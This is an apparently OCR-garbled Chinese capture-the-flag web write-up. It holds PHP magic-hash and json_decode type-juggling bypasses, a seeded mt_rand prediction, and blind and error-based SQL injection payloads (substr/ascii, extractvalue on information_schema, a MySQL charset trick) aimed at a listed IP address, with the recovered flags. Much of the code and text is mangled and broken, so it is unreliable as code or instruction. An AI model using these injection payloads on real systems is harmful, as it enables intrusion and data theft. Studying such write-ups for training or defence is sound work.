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<form>

<div align="center” >

<p>Username: <input type="text” name="Username” id="Usernasme” size="23" required/></p>
<p>Password: <input type= password” name="password” id="password” size="23" required/></p>
<p><input type="submit” elass="small button” name="submit” id="submit” value="Submit”/><br/></p>
</form>

{!— if (isset($ GET[ Username’]) &% isset($ GET[ password ])) {
$logined = true;

SUsername = § GET[ Username’];

Spassword = § GET[ password’];

if (letype _alpha ($Username)) {$logined = false;}

if (!is numeric ($password) ) {$logined = false;}

if (md5($Username) != md5($password)) {$logined = false;}

if ($logined) {

echo “successful ”;
}oelse {

echo “login failed!”:
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Username=QNKCDZO&password=240610708

{!— if (isset($_POST[ message’])) {
Smessage = json_decode (§_POST[ message’]);
Skoy ="kl ™ -
if (Smessage—>key == Skev) {

echo “flag”;
+

else |
echo "fail ;
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Post data message={key" 0}
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flag{sffs_gsg_suhs}

0x02 Hlih 2


http://blog.csdn.net/qq_31481187/article/details/60968595

— 3 67 . s A AR
B R AR

Styles Computed | Event Listeners |

C ¥ Ancestors All ¥ [ Framework listeners
P click
¥ load

F Window jguery.min.js:2
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253 - - ff-To-fix-Bug-that-prevents.using-recursive.function-in-callback.I-moved-this.function-to-back
254 -x - if- ('thls _parameters.callback &% checkEnd){

255 «cvevee-nen-othis,_angle-=-this._ parameters.animateTo;

256| c+v-ree-a-0-othis, _rotate(this._angle);
ceweewe-..-..this._parameters.callback.call(this._ rootObj);
258 ---------}

(function()-{
——window.rotateFunc.=-function(awards,angle, text){- -

—— —%({'#lotteryBtn').stopRotate();
—— —%({"#lotteryBtn").rotate({

—— —— ——angle:8, -

—— —— ——duration: - 5808, -

—— —— ——animateTo: -angle+1444@, -

—— —— ——callback:function(){

 getFlag(text);

———

— ;-
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-—if(text=="flag"'){- ———alert("flag{951c712ac2c3e57053c43d8@cPa%e543}") - —}- —if(text=="0")-
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error_reporting();

chr(mt_rand(

session_start();
mt_srand(time());

=create_password();

]=create_password( ~).rand();
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Good job, you get the flag!flag{rand_afjk u8nm_uq2n}1492411797hhh1492411791
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0x04 so easy!
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(

->query(

>0){
.=substr( ,rand(,strlen(

3

->query ( A
= .md5(randStr()).
-> query( )3

= .urldecode(

(preg_match(
(

->query(
->num_rows>"){

->fetch_assoc()[

)3

3
3

= trim(strtolower(
= trim(strtolower(




->escape_string(

->query( )s
->num_rows>"){
->fetch_assoc()[

{

highlight_file(

1)?filter(

1)?filter(

1)?filter(

: source();
: login(

: show(
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2.showfi £ AT DA N BE F (1) 245 5 5 select from () substr’
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1.5¢1%, FIH substr(user())from(1)
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& Lload URL [httpy/117.34.111.15:89/
§  splituRL | ?action=show

* Execute

Enable Post data [_] Enable Referrer

Post data username=admin’/1={ascii{substr{{select{passwd)frem{user))frem(1)))=1)/1'="1

admin'/1=(ascii(substr((select(passwd)from(user))from(1)))=1)/'1'="1 is admin
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password=37b1d2f04f594bfffc826fd69e389688
T — 5 Fpassword & &admin, 1R
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#t&admin%c2 fEphpH A Fadmin, {HFEmysqlE ) B2 vadmin, FrEAw] BLEgeid

J& R 55t & Mys ql 7 B F /- &2 Fllphp mysqli & = 3 % B I E R E A F . MysqIEE e RAERIRE, BATBNEFARET .

& Load URL | http://117.34.111.15:89/
gg split URL ?action=login

* Execute

Enable Post data [_] Enable Referrer
Post data username=admin¥%Ci&passwd =37b1d2{04{504bifcB26fd60= 380688

flag{e4d93a53bbe%a2f9c419086c16439%aa7}
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https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

jsctf 3 51°80,1,2,3% M, —%, =%, =%
BHAEIXE ¢.get('get.php?token="+$("#token").val()+"&id="+encode (md5(jsctf2))
tokenR AT B, TRRIZEETEMA, encodet FIAI T i 1KX15 2]
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0x06 just a test

HEAVWSHH

:3E: 171 [INFO] the back-end DBHS is MySGL

server operating system: Linux buntu

application technology: Apache 2. 4.7, FHP 5. 5.0
back-end DEMS: MwSOL 5.0

available databases [3]:
[+] information schema
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@ Lload URL | http//117.34.111.15:83/tags’ and extractvalue(1,concat(0x5c,(select group_concat{column_name) from information_schema.columns where table_name=0x666c4067),0x5¢,1)) and *1'="1
§ splitURL

D Execute

[] Enable Post data [ ] Enable Referrer

XPATH syntax error: "\Id,flag\1'(Checking for product pagename) sql: SELECT id FROM pages WHERE pagename = 'tags' and extractvalue(1,concat(0Ox5c,(select
group_concat(column_name) from information_schema.columns where table_name=0x666c4067),0x5¢,1)) and '1'="1" LIMIT 1
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flag{99cd1872c9b26525a8e5ec878d230caf}
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